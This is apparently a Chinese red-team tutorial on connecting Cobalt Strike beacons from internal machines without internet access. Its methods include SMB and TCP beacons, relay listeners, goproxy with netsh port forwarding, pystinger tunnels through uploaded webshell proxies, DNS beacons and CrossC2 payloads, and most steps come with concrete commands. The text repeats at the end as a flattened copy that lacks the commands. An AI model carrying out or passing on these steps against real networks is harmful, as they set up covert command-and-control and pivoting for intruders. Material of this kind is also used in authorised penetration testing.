不出网上线CS的各种姿势
字数 1905 2025-08-06 21:48:45

不出网上线Cobalt Strike的各种姿势

0x01 存在一台中转机器的情况

当存在一台中转机器(边缘机器)可以出网,而内网机器都不出网时,可以通过以下方法上线CS:

上线方法一:SMB Beacon

介绍

  • 使用命名管道通过父级Beacon进行通讯
  • 流量封装在SMB协议中,相对隐蔽
  • 要求目标主机必须接受端口445上的连接

使用步骤

  1. 在Listener生成SMB Beacon
  2. 在目标主机上右键 > spawn > 选中对应的Listener
  3. 或在Beacon中使用命令spawn smb(smb为监听器名称)

连接管理

  • 使用link <ip>命令连接SMB Beacon
  • 使用unlink <ip>命令断开连接

上线方法二:中转listener(Reverse TCP Beacon)

使用步骤

  1. 配置中转listener
  2. 使用psexec横向移动,选择中转listener
  3. 内网机器通过中转机器上线

上线方法三:HTTP代理

使用工具:goproxy项目(https://github.com/snail007/goproxy)

步骤

  1. 上传proxy.exe到边缘主机,开启HTTP代理:
    C:\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon
    
  2. 使用netsh端口转发:
    netsh interface portproxy add v4tov4 listenaddress=192.168.111.131 listenport=822 connectaddress=192.168.1.88 connectport=8080
    
  3. 创建listener并配置
  4. 生成stageless payload在业务服务器执行

上线方法四:TCP Beacon(正向)

步骤

  1. 生成TCP Beacon
  2. 使用该beacon生成stageless形式的木马
  3. 上传到目标机器运行
  4. 在中转机器的Beacon里使用connect [ip address] [port]命令进行正向连接

销毁连接:使用unlink [ip address] [session PID]

上线方法五:使用pystinger进行代理转发

步骤

  1. 上传proxy.php到WEB服务器网站目录
  2. 上传stinger_server.exe并执行:
    start stinger_server.exe 0.0.0.0
    
  3. 攻击机上执行:
    ./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000
    
  4. CS设置监听,HTTP Hosts为中转机器的内网ip,端口为60020
  5. 使用psexec横向移动或直接生成payload执行

0x02 边缘机器只有DNS协议出网

DNS上线CS

准备工作

  1. 域名(如godaddy注册的yokan.xxx)
  2. VPS,开放UDP端口53
  3. Cobalt Strike 4.1

域名设置

  1. 配置A记录指向VPS的IP
  2. 配置多个ns记录指向A记录对应的域名
  3. 停止VPS的53端口服务:
    systemctl stop systemd-resolved
    

CS设置监听

  • 配置DNS监听器,使用ns记录的域名

上线

  1. 生成stageless DNS beacon
  2. 执行后使用checkin命令强制回连teamserver

0x03 边缘机器完全不出网

方法一:TCP Beacon正向连接

步骤

  1. 攻击机先上线
  2. 生成TCP Beacon的stageless木马
  3. 上传到目标机器并运行
  4. 在攻击机的Beacon里使用connect [ip address] [port]命令连接

方法二:使用pystinger(毒刺)工具

应用场景:存在web服务且已拿到webshell

原理:利用http协议将目标机器端口映射至CS服务端监听端口

使用步骤

SOCK4代理

  1. 上传proxy.jsp到目标服务器
  2. 上传stinger_server.exe并执行:
    start D:/XXX/stinger_server.exe
    
  3. VPS执行:
    ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000
    
  4. CS添加监听,端口为60020,beacons为127.0.0.1
  5. 生成payload上传执行

多主机上线

  1. 上传proxy.jsp
  2. 执行:
    start D:/XXX/stinger_server.exe 192.168.3.11
    
  3. VPS执行客户端
  4. CS监听端口为60020,beacons为内网IP(如192.168.3.11)
  5. 生成payload执行

定制Header及proxy

  • 使用--header参数配置请求头
  • 使用--proxy设置代理

补充:中转机器为Linux

HTTP代理

  1. 开启IP转发:
    echo 1 >/proc/sys/net/ipv4/ip_forward
    
  2. 配置iptables规则:
    iptables -A PREROUTING -p tcp -d 192.168.111.131 --dport 822 -j DNAT --to-destination 192.168.1.88:8080
    iptables -A POSTROUTING -p tcp -d 192.168.1.88 --dport 8080 -j SNAT --to-source 192.168.111.131
    
  3. 生成stageless payload执行

使用CrossC2上线Linux/MacOS

项目地址:https://github.com/gloxec/CrossC2

步骤

  1. 创建https监听
  2. 生成payload
  3. 上传到Linux机器运行
  4. 安装CrossC2Kit插件增强功能

内网机器上线

  • 使用TCP Beacon生成木马上传执行
  • 在Linux beacon下使用connect命令连接

以上方法涵盖了各种不出网环境下上线Cobalt Strike的技术方案,包括有中转机器、仅DNS出网和完全不出网等情况,可根据实际环境选择合适的方法。

不出网上线Cobalt Strike的各种姿势 0x01 存在一台中转机器的情况 当存在一台中转机器(边缘机器)可以出网,而内网机器都不出网时,可以通过以下方法上线CS: 上线方法一:SMB Beacon 介绍 : 使用命名管道通过父级Beacon进行通讯 流量封装在SMB协议中,相对隐蔽 要求目标主机必须接受端口445上的连接 使用步骤 : 在Listener生成SMB Beacon 在目标主机上右键 > spawn > 选中对应的Listener 或在Beacon中使用命令 spawn smb (smb为监听器名称) 连接管理 : 使用 link <ip> 命令连接SMB Beacon 使用 unlink <ip> 命令断开连接 上线方法二:中转listener(Reverse TCP Beacon) 使用步骤 : 配置中转listener 使用psexec横向移动,选择中转listener 内网机器通过中转机器上线 上线方法三:HTTP代理 使用工具 :goproxy项目(https://github.com/snail007/goproxy) 步骤 : 上传proxy.exe到边缘主机,开启HTTP代理: 使用netsh端口转发: 创建listener并配置 生成stageless payload在业务服务器执行 上线方法四:TCP Beacon(正向) 步骤 : 生成TCP Beacon 使用该beacon生成stageless形式的木马 上传到目标机器运行 在中转机器的Beacon里使用 connect [ip address] [port] 命令进行正向连接 销毁连接 :使用 unlink [ip address] [session PID] 上线方法五:使用pystinger进行代理转发 步骤 : 上传proxy.php到WEB服务器网站目录 上传stinger_ server.exe并执行: 攻击机上执行: CS设置监听,HTTP Hosts为中转机器的内网ip,端口为60020 使用psexec横向移动或直接生成payload执行 0x02 边缘机器只有DNS协议出网 DNS上线CS 准备工作 : 域名(如godaddy注册的yokan.xxx) VPS,开放UDP端口53 Cobalt Strike 4.1 域名设置 : 配置A记录指向VPS的IP 配置多个ns记录指向A记录对应的域名 停止VPS的53端口服务: CS设置监听 : 配置DNS监听器,使用ns记录的域名 上线 : 生成stageless DNS beacon 执行后使用 checkin 命令强制回连teamserver 0x03 边缘机器完全不出网 方法一:TCP Beacon正向连接 步骤 : 攻击机先上线 生成TCP Beacon的stageless木马 上传到目标机器并运行 在攻击机的Beacon里使用 connect [ip address] [port] 命令连接 方法二:使用pystinger(毒刺)工具 应用场景 :存在web服务且已拿到webshell 原理 :利用http协议将目标机器端口映射至CS服务端监听端口 使用步骤 : SOCK4代理 上传proxy.jsp到目标服务器 上传stinger_ server.exe并执行: VPS执行: CS添加监听,端口为60020,beacons为127.0.0.1 生成payload上传执行 多主机上线 上传proxy.jsp 执行: VPS执行客户端 CS监听端口为60020,beacons为内网IP(如192.168.3.11) 生成payload执行 定制Header及proxy : 使用 --header 参数配置请求头 使用 --proxy 设置代理 补充:中转机器为Linux HTTP代理 开启IP转发: 配置iptables规则: 生成stageless payload执行 使用CrossC2上线Linux/MacOS 项目地址 :https://github.com/gloxec/CrossC2 步骤 : 创建https监听 生成payload 上传到Linux机器运行 安装CrossC2Kit插件增强功能 内网机器上线 : 使用TCP Beacon生成木马上传执行 在Linux beacon下使用 connect 命令连接 以上方法涵盖了各种不出网环境下上线Cobalt Strike的技术方案,包括有中转机器、仅DNS出网和完全不出网等情况,可根据实际环境选择合适的方法。